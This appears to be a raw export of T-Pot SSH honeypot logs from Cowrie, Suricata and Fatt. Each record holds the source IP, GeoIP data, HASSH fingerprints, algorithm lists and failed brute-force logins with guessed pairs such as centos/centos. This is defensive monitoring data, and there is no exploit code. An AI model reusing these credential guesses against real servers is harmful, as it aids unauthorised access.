"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24786	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.546907+03	2021-09-20 14:15:09.247471+03	{"_id": "-AblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5b7345a45054", "@version": "1", "timestamp": "2021-09-20T11:09:09.546907Z", "@timestamp": "2021-09-20T11:09:09.546Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24787	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:09.703054+03	2021-09-20 14:15:09.249473+03	{"_id": "-QblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [rebecca/rebecca] failed", "session": "17ec16fb3036", "@version": "1", "password": "rebecca", "username": "rebecca", "timestamp": "2021-09-20T11:09:09.703054Z", "@timestamp": "2021-09-20T11:09:09.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24788	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.794022+03	2021-09-20 14:15:09.251471+03	{"_id": "-gblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d8d79dcc0b71", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:09.794022Z", "@timestamp": "2021-09-20T11:09:09.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24793	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:11.065259+03	2021-09-20 14:15:09.25747+03	{"_id": "AAblAnwBvYTbRNuEQRZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38526, "timestamp": "2021-09-20T11:09:11.065259", "@timestamp": "2021-09-20T11:09:11.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24789	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:09.951416+03	2021-09-20 14:15:09.252471+03	{"_id": "-wblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d8d79dcc0b71", "@version": "1", "timestamp": "2021-09-20T11:09:09.951416Z", "@timestamp": "2021-09-20T11:09:09.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24790	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:10.306948+03	2021-09-20 14:15:09.25347+03	{"_id": "_AblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "390f112beb60", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:10.306948Z", "@timestamp": "2021-09-20T11:09:10.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24791	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:10.309792+03	2021-09-20 14:15:09.254471+03	{"_id": "_QblAnwBvYTbRNuEPhUS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "390f112beb60", "@version": "1", "timestamp": "2021-09-20T11:09:10.309792Z", "@timestamp": "2021-09-20T11:09:10.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24792	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:10.306702+03	2021-09-20 14:15:09.25647+03	{"_id": "_gblAnwBvYTbRNuEQBVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 727906423998363, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38880, "dest_port": 22, "timestamp": "2021-09-20T11:09:10.306702Z", "@timestamp": "2021-09-20T11:09:10.306Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24794	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:10.793371+03	2021-09-20 14:15:09.25847+03	{"_id": "CQblAnwBvYTbRNuEQRbr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [centos/centos] failed", "session": "5b7345a45054", "@version": "1", "password": "centos", "username": "centos", "timestamp": "2021-09-20T11:09:10.793371Z", "@timestamp": "2021-09-20T11:09:10.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24795	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:11.40609+03	2021-09-20 14:15:09.259471+03	{"_id": "FwblAnwBvYTbRNuERRY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38526, "dest_port": 22, "timestamp": 